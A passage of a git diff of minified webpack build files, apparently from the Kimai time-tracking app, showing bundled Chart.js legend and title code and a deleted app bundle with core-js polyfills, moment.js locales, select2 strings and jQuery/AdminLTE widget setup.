t-i;default:return(t-i+n.padding)/2}},x=t.isHorizontal();d=x?{x:t.left+b(l,u[0]),y:t.top+n.padding,line:0}:{x:t.left+n.padding,y:t.top+b(o,s[0]),line:0},H.rtl.overrideTextDirection(t.ctx,e.textDirection);var y=p+n.padding;H.each(t.legendItems,(function(e,i){var f=c.measureText(e.text).width,g=m+p/2+f,_=d.x,k=d.y;h.setWidth(t.minSize.width),x?i>0&&_+g+n.padding>t.left+t.minSize.width&&(k=d.y+=y,d.line++,_=d.x=t.left+b(l,u[d.line])):i>0&&k+y>t.top+t.minSize.height&&(_=d.x=_+t.columnWidths[d.line]+n.padding,d.line++,k=d.y=t.top+b(o,s[d.line]));var w=h.x(_);!function(t,e,i){if(!(isNaN(m)||m<=0)){c.save();var o=mi(i.lineWidth,r.borderWidth);if(c.fillStyle=mi(i.fillStyle,a),c.lineCap=mi(i.lineCap,r.borderCapStyle),c.lineDashOffset=mi(i.lineDashOffset,r.borderDashOffset),c.lineJoin=mi(i.lineJoin,r.borderJoinStyle),c.lineWidth=o,c.strokeStyle=mi(i.strokeStyle,a),c.setLineDash&&c.setLineDash(mi(i.lineDash,r.borderDash)),n&&n.usePointStyle){var s=m*Math.SQRT2/2,l=h.xPlus(t,m/2),u=e+p/2;H.canvas.drawPoint(c,i.pointStyle,s,l,u,i.rotation)}else c.fillRect(h.leftForLtr(t,m),e,m,p),0!==o&&c.strokeRect(h.leftForLtr(t,m),e,m,p);c.restore()}}(w,k,e),v[i].left=h.leftForLtr(w,v[i].width),v[i].top=k,function(t,e,n,i){var a=p/2,r=h.xPlus(t,m+a),o=e+a;c.fillText(n.text,r,o),n.hidden&&(c.beginPath(),c.lineWidth=2,c.moveTo(r,o),c.lineTo(h.xPlus(r,i),o),c.stroke())}(w,k,e,f),x?d.x+=g+n.padding:d.y+=y})),H.rtl.restoreTextDirection(t.ctx,e.textDirection)}},_getLegendItemAt:function(t,e){var n,i,a,r=this;if(t>=r.left&&t<=r.right&&e>=r.top&&e<=r.bottom)for(a=r.legendHitBoxes,n=0;n<a.length;++n)if(t>=(i=a[n]).left&&t<=i.left+i.width&&e>=i.top&&e<=i.top+i.height)return r.legendItems[n];return null},handleEvent:function(t){var e,n=this,i=n.options,a="mouseup"===t.type?"click":t.type;if("mousemove"===a){if(!i.onHover&&!i.onLeave)return}else{if("click"!==a)return;if(!i.onClick)return}e=n._getLegendItemAt(t.x,t.y),"click"===a?e&&i.onClick&&i.onClick.call(n,t.native,e):(i.onLeave&&e!==n._hoveredItem&&(n._hoveredItem&&i.onLeave.call(n,t.native,n._hoveredItem),n._hoveredItem=e),i.onHover&&e&&i.onHover.call(n,t.native,e))}});function xi(t,e){var n=new bi({ctx:t.ctx,options:e,chart:t});he.configure(t,n,e),he.addBox(t,n),t.legend=n}var yi={id:"legend",_element:bi,beforeInit:function(t){var e=t.options.legend;e&&xi(t,e)},beforeUpdate:function(t){var e=t.options.legend,n=t.legend;e?(H.mergeIf(e,N.global.legend),n?(he.configure(t,n,e),n.options=e):xi(t,e)):n&&(he.removeBox(t,n),delete t.legend)},afterEvent:function(t,e){var n=t.legend;n&&n.handleEvent(e)}},_i=H.noop;N._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var ki=X.extend({initialize:function(t){H.extend(this,t),this.legendHitBoxes=[]},beforeUpdate:_i,update:function(t,e,n){var i=this;return i.beforeUpdate(),i.maxWidth=t,i.maxHeight=e,i.margins=n,i.beforeSetDimensions(),i.setDimensions(),i.afterSetDimensions(),i.beforeBuildLabels(),i.buildLabels(),i.afterBuildLabels(),i.beforeFit(),i.fit(),i.afterFit(),i.afterUpdate(),i.minSize},afterUpdate:_i,beforeSetDimensions:_i,setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0,t.minSize={width:0,height:0}},afterSetDimensions:_i,beforeBuildLabels:_i,buildLabels:_i,afterBuildLabels:_i,beforeFit:_i,fit:function(){var t,e=this,n=e.options,i=e.minSize={},a=e.isHorizontal();n.display?(t=(H.isArray(n.text)?n.text.length:1)*H.options._parseFont(n).lineHeight+2*n.padding,e.width=i.width=a?e.maxWidth:t,e.height=i.height=a?t:e.maxHeight):e.width=i.width=e.height=i.height=0},afterFit:_i,isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},draw:function(){var t=this,e=t.ctx,n=t.options;if(n.display){var i,a,r,o=H.options._parseFont(n),s=o.lineHeight,l=s/2+n.padding,u=0,d=t.top,h=t.left,c=t.bottom,f=t.right;e.fillStyle=H.valueOrDefault(n.fontColor,N.global.defaultFontColor),e.font=o.string,t.isHorizontal()?(a=h+(f-h)/2,r=d+l,i=f-h):(a="left"===n.position?h+l:f-l,r=d+(c-d)/2,i=c-d,u=Math.PI*("left"===n.position?-.5:.5)),e.save(),e.translate(a,r),e.rotate(u),e.textAlign="center",e.textBaseline="middle";var g=n.text;if(H.isArray(g))for(var p=0,m=0;m<g.length;++m)e.fillText(g[m],0,p,i),p+=s;else e.fillText(g,0,0,i);e.restore()}}});function wi(t,e){var n=new ki({ctx:t.ctx,options:e,chart:t});he.configure(t,n,e),he.addBox(t,n),t.titleBlock=n}var Mi={},Si=fi,Ci=yi,Pi={id:"title",_element:ki,beforeInit:function(t){var e=t.options.title;e&&wi(t,e)},beforeUpdate:function(t){var e=t.options.title,n=t.titleBlock;e?(H.mergeIf(e,N.global.title),n?(he.configure(t,n,e),n.options=e):wi(t,e)):n&&(he.removeBox(t,n),delete t.titleBlock)}};for(var Ai in Mi.filler=Si,Mi.legend=Ci,Mi.title=Pi,Xe.helpers=H,function(){function t(t,e,n){var i;return"string"==typeof t?(i=parseInt(t,10),-1!==t.indexOf("%")&&(i=i/100*e.parentNode[n])):i=t,i}function e(t){return null!=t&&"none"!==t}function n(n,i,a){var r=document.defaultView,o=H._getParentNode(n),s=r.getComputedStyle(n)[i],l=r.getComputedStyle(o)[i],u=e(s),d=e(l),h=Number.POSITIVE_INFINITY;return u||d?Math.min(u?t(s,n,a):h,d?t(l,o,a):h):"none"}H.where=function(t,e){if(H.isArray(t)&&Array.prototype.filter)return t.filter(e);var n=[];return H.each(t,(function(t){e(t)&&n.push(t)})),n},H.findIndex=Array.prototype.findIndex?function(t,e,n){return t.findIndex(e,n)}:function(t,e,n){n=void 0===n?t:n;for(var i=0,a=t.length;i<a;++i)if(e.call(n,t[i],i,t))return i;return-1},H.findNextWhere=function(t,e,n){H.isNullOrUndef(n)&&(n=-1);for(var i=n+1;i<t.length;i++){var a=t[i];if(e(a))return a}},H.findPreviousWhere=function(t,e,n){H.isNullOrUndef(n)&&(n=t.length);for(var i=n-1;i>=0;i--){var a=t[i];if(e(a))return a}},H.isNumber=function(t){return!isNaN(parseFloat(t))&&isFinite(t)},H.almostEquals=function(t,e,n){return Math.abs(t-e)<n},H.almostWhole=function(t,e){var n=Math.round(t);return n-e<=t&&n+e>=t},H.max=function(t){return t.reduce((function(t,e){return isNaN(e)?t:Math.max(t,e)}),Number.NEGATIVE_INFINITY)},H.min=function(t){return t.reduce((function(t,e){return isNaN(e)?t:Math.min(t,e)}),Number.POSITIVE_INFINITY)},H.sign=Math.sign?function(t){return Math.sign(t)}:function(t){return 0==(t=+t)||isNaN(t)?t:t>0?1:-1},H.toRadians=function(t){return t*(Math.PI/180)},H.toDegrees=function(t){return t*(180/Math.PI)},H._decimalPlaces=function(t){if(H.isFinite(t)){for(var e=1,n=0;Math.round(t*e)/e!==t;)e*=10,n++;return n}},H.getAngleFromPoint=function(t,e){var n=e.x-t.x,i=e.y-t.y,a=Math.sqrt(n*n+i*i),r=Math.atan2(i,n);return r<-.5*Math.PI&&(r+=2*Math.PI),{angle:r,distance:a}},H.distanceBetweenPoints=function(t,e){return Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))},H.aliasPixel=function(t){return t%2==0?0:.5},H._alignPixel=function(t,e,n){var i=t.currentDevicePixelRatio,a=n/2;return Math.round((e-a)*i)/i+a},H.splineCurve=function(t,e,n,i){var a=t.skip?e:t,r=e,o=n.skip?e:n,s=Math.sqrt(Math.pow(r.x-a.x,2)+Math.pow(r.y-a.y,2)),l=Math.sqrt(Math.pow(o.x-r.x,2)+Math.pow(o.y-r.y,2)),u=s/(s+l),d=l/(s+l),h=i*(u=isNaN(u)?0:u),c=i*(d=isNaN(d)?0:d);return{previous:{x:r.x-h*(o.x-a.x),y:r.y-h*(o.y-a.y)},next:{x:r.x+c*(o.x-a.x),y:r.y+c*(o.y-a.y)}}},H.EPSILON=Number.EPSILON||1e-14,H.splineCurveMonotone=function(t){var e,n,i,a,r,o,s,l,u,d=(t||[]).map((function(t){return{model:t._model,deltaK:0,mK:0}})),h=d.length;for(e=0;e<h;++e)if(!(i=d[e]).model.skip){if(n=e>0?d[e-1]:null,(a=e<h-1?d[e+1]:null)&&!a.model.skip){var c=a.model.x-i.model.x;i.deltaK=0!==c?(a.model.y-i.model.y)/c:0}!n||n.model.skip?i.mK=i.deltaK:!a||a.model.skip?i.mK=n.deltaK:this.sign(n.deltaK)!==this.sign(i.deltaK)?i.mK=0:i.mK=(n.deltaK+i.deltaK)/2}for(e=0;e<h-1;++e)i=d[e],a=d[e+1],i.model.skip||a.model.skip||(H.almostEquals(i.deltaK,0,this.EPSILON)?i.mK=a.mK=0:(r=i.mK/i.deltaK,o=a.mK/i.deltaK,(l=Math.pow(r,2)+Math.pow(o,2))<=9||(s=3/Math.sqrt(l),i.mK=r*s*i.deltaK,a.mK=o*s*i.deltaK)));for(e=0;e<h;++e)(i=d[e]).model.skip||(n=e>0?d[e-1]:null,a=e<h-1?d[e+1]:null,n&&!n.model.skip&&(u=(i.model.x-n.model.x)/3,i.model.controlPointPreviousX=i.model.x-u,i.model.controlPointPreviousY=i.model.y-u*i.mK),a&&!a.model.skip&&(u=(a.model.x-i.model.x)/3,i.model.controlPointNextX=i.model.x+u,i.model.controlPointNextY=i.model.y+u*i.mK))},H.nextItem=function(t,e,n){return n?e>=t.length-1?t[0]:t[e+1]:e>=t.length-1?t[t.length-1]:t[e+1]},H.previousItem=function(t,e,n){return n?e<=0?t[t.length-1]:t[e-1]:e<=0?t[0]:t[e-1]},H.niceNum=function(t,e){var n=Math.floor(H.log10(t)),i=t/Math.pow(10,n);return(e?i<1.5?1:i<3?2:i<7?5:10:i<=1?1:i<=2?2:i<=5?5:10)*Math.pow(10,n)},H.requestAnimFrame="undefined"==typeof window?function(t){t()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(t){return window.setTimeout(t,1e3/60)},H.getRelativePosition=function(t,e){var n,i,a=t.originalEvent||t,r=t.target||t.srcElement,o=r.getBoundingClientRect(),s=a.touches;s&&s.length>0?(n=s[0].clientX,i=s[0].clientY):(n=a.clientX,i=a.clientY);var l=parseFloat(H.getStyle(r,"padding-left")),u=parseFloat(H.getStyle(r,"padding-top")),d=parseFloat(H.getStyle(r,"padding-right")),h=parseFloat(H.getStyle(r,"padding-bottom")),c=o.right-o.left-l-d,f=o.bottom-o.top-u-h;return{x:n=Math.round((n-o.left-l)/c*r.width/e.currentDevicePixelRatio),y:i=Math.round((i-o.top-u)/f*r.height/e.currentDevicePixelRatio)}},H.getConstraintWidth=function(t){return n(t,"max-width","clientWidth")},H.getConstraintHeight=function(t){return n(t,"max-height","clientHeight")},H._calculatePadding=function(t,e,n){return(e=H.getStyle(t,e)).indexOf("%")>-1?n*parseInt(e,10)/100:parseInt(e,10)},H._getParentNode=function(t){var e=t.parentNode;return e&&"[object ShadowRoot]"===e.toString()&&(e=e.host),e},H.getMaximumWidth=function(t){var e=H._getParentNode(t);if(!e)return t.clientWidth;var n=e.clientWidth,i=n-H._calculatePadding(e,"padding-left",n)-H._calculatePadding(e,"padding-right",n),a=H.getConstraintWidth(t);return isNaN(a)?i:Math.min(i,a)},H.getMaximumHeight=function(t){var e=H._getParentNode(t);if(!e)return t.clientHeight;var n=e.clientHeight,i=n-H._calculatePadding(e,"padding-top",n)-H._calculatePadding(e,"padding-bottom",n),a=H.getConstraintHeight(t);return isNaN(a)?i:Math.min(i,a)},H.getStyle=function(t,e){return t.currentStyle?t.currentStyle[e]:document.defaultView.getComputedStyle(t,null).getPropertyValue(e)},H.retinaScale=function(t,e){var n=t.currentDevicePixelRatio=e||"undefined"!=typeof window&&window.devicePixelRatio||1;if(1!==n){var i=t.canvas,a=t.height,r=t.width;i.height=a*n,i.width=r*n,t.ctx.scale(n,n),i.style.height||i.style.width||(i.style.height=a+"px",i.style.width=r+"px")}},H.fontString=function(t,e,n){return e+" "+t+"px "+n},H.longestText=function(t,e,n,i){var a=(i=i||{}).data=i.data||{},r=i.garbageCollect=i.garbageCollect||[];i.font!==e&&(a=i.data={},r=i.garbageCollect=[],i.font=e),t.font=e;var o,s,l,u,d,h=0,c=n.length;for(o=0;o<c;o++)if(null!=(u=n[o])&&!0!==H.isArray(u))h=H.measureText(t,a,r,h,u);else if(H.isArray(u))for(s=0,l=u.length;s<l;s++)null==(d=u[s])||H.isArray(d)||(h=H.measureText(t,a,r,h,d));var f=r.length/2;if(f>n.length){for(o=0;o<f;o++)delete a[r[o]];r.splice(0,f)}return h},H.measureText=function(t,e,n,i,a){var r=e[a];return r||(r=e[a]=t.measureText(a).width,n.push(a)),r>i&&(i=r),i},H.numberOfLabelLines=function(t){var e=1;return H.each(t,(function(t){H.isArray(t)&&t.length>e&&(e=t.length)})),e},H.color=_?function(t){return t instanceof CanvasGradient&&(t=N.global.defaultColor),_(t)}:function(t){return console.error("Color.js not found!"),t},H.getHoverColor=function(t){return t instanceof CanvasPattern||t instanceof CanvasGradient?t:H.color(t).saturate(.5).darken(.1).rgbString()}}(),Xe._adapters=$e,Xe.Animation=Z,Xe.animationService=$,Xe.controllers=Xt,Xe.DatasetController=nt,Xe.defaults=N,Xe.Element=X,Xe.elements=xt,Xe.Interaction=ee,Xe.layouts=he,Xe.platform=Ce,Xe.plugins=Pe,Xe.Scale=cn,Xe.scaleService=Ae,Xe.Ticks=Je,Xe.Tooltip=Ee,Xe.helpers.each(ii,(function(t,e){Xe.scaleService.registerScaleType(e,t,t._defaults)})),Mi)Mi.hasOwnProperty(Ai)&&Xe.plugins.register(Mi[Ai]);Xe.platform.initialize();var Di=Xe;return"undefined"!=typeof window&&(window.Chart=Xe),Xe.Chart=Xe,Xe.Legend=Mi.legend._element,Xe.Title=Mi.title._element,Xe.pluginService=Xe.plugins,Xe.PluginBase=Xe.Element.extend({}),Xe.canvasHelpers=Xe.helpers.canvas,Xe.layoutService=Xe.layouts,Xe.LinearScaleBase=vn,Xe.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],(function(t){Xe[t]=function(e,n){return new Xe(e,Xe.helpers.merge(n||{},{type:t.charAt(0).toLowerCase()+t.slice(1)}))}})),Di}(function(){try{return n("wd/R")}catch(t){}}())}}]);
\ No newline at end of file
diff --git a/public/build/app.30cfcd45.js b/public/build/app.30cfcd45.js
deleted file mode 100644
index 764bdb7415..0000000000
--- a/public/build/app.30cfcd45.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([["app"],{"+2oP":function(t,e,n){"use strict";var i=n("I+eb"),r=n("hh1v"),o=n("6LWA"),a=n("I8vh"),s=n("UMSQ"),l=n("/GqU"),c=n("hBjN"),u=n("tiKp"),d=n("Hd5f")("slice"),f=u("species"),h=[].slice,p=Math.max;i({target:"Array",proto:!0,forced:!d},{slice:function(t,e){var n,i,u,d=l(this),m=s(d.length),g=a(t,m),y=a(void 0===e?m:e,m);if(o(d)&&("function"!=typeof(n=d.constructor)||n!==Array&&!o(n.prototype)?r(n)&&null===(n=n[f])&&(n=void 0):n=void 0,n===Array||void 0===n))return h.call(d,g,y);for(i=new(void 0===n?Array:n)(p(y-g,0)),u=0;g<y;g++,u++)g in d&&c(i,u,d[g]);return i.length=u,i}})},"+SIZ":function(t,e,n){"use strict";(function(t){n.d(e,"a",(function(){return h}));n("rB9j"),n("UxlC"),n("oVuX"),n("ExoC"),n("NBAS"),n("SuFq"),n("uL8W"),n("eoL8"),n("pNMO"),n("4Brf"),n("07d7"),n("0oug"),n("4mDm"),n("PKPk"),n("3bBZ");var i=n("dQ1+"),r=n("EVdn"),o=n.n(r);function a(t){return(a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function s(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function c(t,e){return(c=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function u(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=f(t);if(e){var r=f(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return d(this,n)}}function d(t,e){return!e||"object"!==a(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function f(t){return(f=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var h=function(e){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&c(t,e)}(d,e);var n,i,r,a=u(d);function d(){return s(this,d),a.apply(this,arguments)}return n=d,(i=[{key:"init",value:function(){var t=this;o()("body").on("change","#multi_update_all",(function(e){o()(".multi_update_single").prop("checked",o()(e.target).prop("checked")),t.toggleForm()})).on("change",".multi_update_single",(function(e){t.toggleForm()})).on("change","#multi_update_table_action",(function(e){var n=o()("#multi_update_table_action option:selected"),i=n.val();if(""!==i){var r=o()("#multi_update_form form"),a=n.text(),s=t.getSelectedIds(),l=r.attr("data-question").replace(/%action%/,a).replace(/%count%/,s.length);t.getContainer().getPlugin("alert").question(l,(function(t){t?r.attr("action",i).submit():o()("#multi_update_table_action").val("").trigger("change")}))}}))}},{key:"getSelectedIds",value:function(){var e=[];return o()(".multi_update_single:checked").each((function(n){e[n]=t(this).val()})),e}},{key:"toggleForm",value:function(){var t=this.getSelectedIds();o()("#multi_update_table_entities").val(t.join(",")),t.length>0?o()("#multi_update_form").show():o()("#multi_update_form").hide()}}])&&l(n.prototype,i),r&&l(n,r),d}(i.a)}).call(this,n("EVdn"))},"+s0g":function(t,e,n){!function(t){"use strict";var e="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),i=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],r=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;t.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(t,i){return t?/-MMM-/.test(i)?n[t.month()]:e[t.month()]:e},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",w:"één week",ww:"%d weken",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(t){return t+(1===t||8===t||t>=20?"ste":"de")},week:{dow:1,doy:4}})}(n("wd/R"))},"/GqU":function(t,e,n){var i=n("RK3t"),r=n("HYAF");t.exports=function(t){return i(r(t))}},"/b8u":function(t,e,n){var i=n("STAE");t.exports=i&&!Symbol.sham&&"symbol"==typeof Symbol.iterator},"/byt":function(t,e){t.exports={CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0}},"07d7":function(t,e,n){var i=n("AO7/"),r=n("busE"),o=n("sEFX");i||r(Object.prototype,"toString",o,{unsafe:!0})},"0BK2":function(t,e){t.exports={}},"0BQa":function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/it",[],(function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(t){var e=t.input.length-t.maximum;return"Per favore cancella "+e+" caratter"+(1!==e?"i":"e")},inputTooShort:function(t){return"Per favore inserisci "+(t.minimum-t.input.length)+" o più caratteri"},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(t){var e="Puoi selezionare solo "+t.maximum+" element";return 1!==t.maximum?e+="i":e+="o",e},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"},removeAllItems:function(){return"Rimuovi tutti gli oggetti"}}})),e.define,e.require}()}).call(this,n("EVdn"))},"0Dky":function(t,e){t.exports=function(t){try{return!!t()}catch(t){return!0}}},"0GbY":function(t,e,n){var i=n("Qo9l"),r=n("2oRo"),o=function(t){return"function"==typeof t?t:void 0};t.exports=function(t,e){return arguments.length<2?o(i[t])||o(r[t]):i[t]&&i[t][e]||r[t]&&r[t][e]}},"0eef":function(t,e,n){"use strict";var i={}.propertyIsEnumerable,r=Object.getOwnPropertyDescriptor,o=r&&!i.call({1:2},1);e.f=o?function(t){var e=r(this,t);return!!e&&e.enumerable}:i},"0oug":function(t,e,n){n("dG/n")("iterator")},"0rvr":function(t,e,n){var i=n("glrk"),r=n("O741");t.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var t,e=!1,n={};try{(t=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set).call(n,[]),e=n instanceof Array}catch(t){}return function(n,o){return i(n),r(o),e?t.call(n,o):n.__proto__=o,n}}():void 0)},"0tRk":function(t,e,n){!function(t){"use strict";t.defineLocale("pt-br",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_terça-feira_quarta-feira_quinta-feira_sexta-feira_sábado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_sáb".split("_"),weekdaysMin:"do_2ª_3ª_4ª_5ª_6ª_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [às] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [às] HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",invalidDate:"Data inválida"})}(n("wd/R"))},"14Sl":function(t,e,n){"use strict";n("rB9j");var i=n("busE"),r=n("0Dky"),o=n("tiKp"),a=n("kRJp"),s=o("species"),l=!r((function(){var t=/./;return t.exec=function(){var t=[];return t.groups={a:"7"},t},"7"!=="".replace(t,"$<a>")})),c="$0"==="a".replace(/./,"$0"),u=o("replace"),d=!!/./[u]&&""===/./[u]("a","$0"),f=!r((function(){var t=/(?:)/,e=t.exec;t.exec=function(){return e.apply(this,arguments)};var n="ab".split(t);return 2!==n.length||"a"!==n[0]||"b"!==n[1]}));t.exports=function(t,e,n,u){var h=o(t),p=!r((function(){var e={};return e[h]=function(){return 7},7!=""[t](e)})),m=p&&!r((function(){var e=!1,n=/a/;return"split"===t&&((n={}).constructor={},n.constructor[s]=function(){return n},n.flags="",n[h]=/./[h]),n.exec=function(){return e=!0,null},n[h](""),!e}));if(!p||!m||"replace"===t&&(!l||!c||d)||"split"===t&&!f){var g=/./[h],y=n(h,""[t],(function(t,e,n,i,r){return e.exec===RegExp.prototype.exec?p&&!r?{done:!0,value:g.call(e,n,i)}:{done:!0,value:t.call(n,e,i)}:{done:!1}}),{REPLACE_KEEPS_$0:c,REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE:d}),v=y[0],b=y[1];i(String.prototype,t,v),i(RegExp.prototype,h,2==e?function(t,e){return b.call(t,this,e)}:function(t){return b.call(t,this)})}u&&a(RegExp.prototype[h],"sham",!0)}},"1E5z":function(t,e,n){var i=n("m/L8").f,r=n("UTVS"),o=n("tiKp")("toStringTag");t.exports=function(t,e,n){t&&!r(t=n?t:t.prototype,o)&&i(t,o,{configurable:!0,value:e})}},"1Wo5":function(t,e,n){(function(t){var e=n("EVdn");t.$=t.jQuery=e,n("VSY+"),n("Onkx"),n("DjPg"),n("kyKd"),n("vbVy"),n("Dxs7"),n("Auod"),n("qQBl"),n("jhq1"),n("HbWH"),n("PWE2"),n("Fku7"),n("e0G9"),n("0BQa"),n("dp/T"),n("VdOU"),n("DHBJ"),n("u2me"),n("MYro"),n("fv4y"),n("6KOk"),n("CTrX"),n("AYug"),n("pRY5"),n("Bozk"),n("nCmP"),n("Ft9+");var i=n("wd/R");t.moment=i,n("jnO4"),n("PA2r"),n("DxQv"),n("tGlX"),n("s+uk"),n("u3GI"),n("Zduo"),n("iYuL"),n("D/JM"),n("gekB"),n("ByF4"),n("nyYc"),n("x6pH"),n("WxRl"),n("bpih"),n("B55N"),n("Ivi+"),n("+s0g"),n("jVdC"),n("8mBD"),n("0tRk"),n("lyxo"),n("lXzo"),n("e+ae"),n("X709"),n("DoHr"),n("KSF8"),n("XDpg"),n("eHjp"),n("6HnW"),n("2+4C"),n("Qiut"),n("vh7O"),n("WySY"),t.$.AdminLTE={},t.$.AdminLTE.options={},n("qG+3"),n("NlKh"),n("zcCC"),t.KimaiPaginatedBoxWidget=n("ckYw").default,t.KimaiReloadPageWidget=n("QZse").default,t.KimaiCookies=n("TO6f").default,n("9/yf")}).call(this,n("yLpj"))},"2+4C":function(t,e,n){},"27RR":function(t,e,n){var i=n("I+eb"),r=n("g6v/"),o=n("Vu81"),a=n("/GqU"),s=n("Bs8V"),l=n("hBjN");i({target:"Object",stat:!0,sham:!r},{getOwnPropertyDescriptors:function(t){for(var e,n,i=a(t),r=s.f,c=o(i),u={},d=0;c.length>d;)void 0!==(n=r(i,e=c[d++]))&&l(u,e,n);return u}})},"2B1R":function(t,e,n){"use strict";var i=n("I+eb"),r=n("tycR").map;i({target:"Array",proto:!0,forced:!n("Hd5f")("map")},{map:function(t){return r(this,t,arguments.length>1?arguments[1]:void 0)}})},"2oRo":function(t,e,n){(function(e){var n=function(t){return t&&t.Math==Math&&t};t.exports=n("object"==typeof globalThis&&globalThis)||n("object"==typeof window&&window)||n("object"==typeof self&&self)||n("object"==typeof e&&e)||function(){return this}()||Function("return this")()}).call(this,n("yLpj"))},"33Wh":function(t,e,n){var i=n("yoRg"),r=n("eDl+");t.exports=Object.keys||function(t){return i(t,r)}},"3UD+":function(t,e){t.exports=function(t){if(!t.webpackPolyfill){var 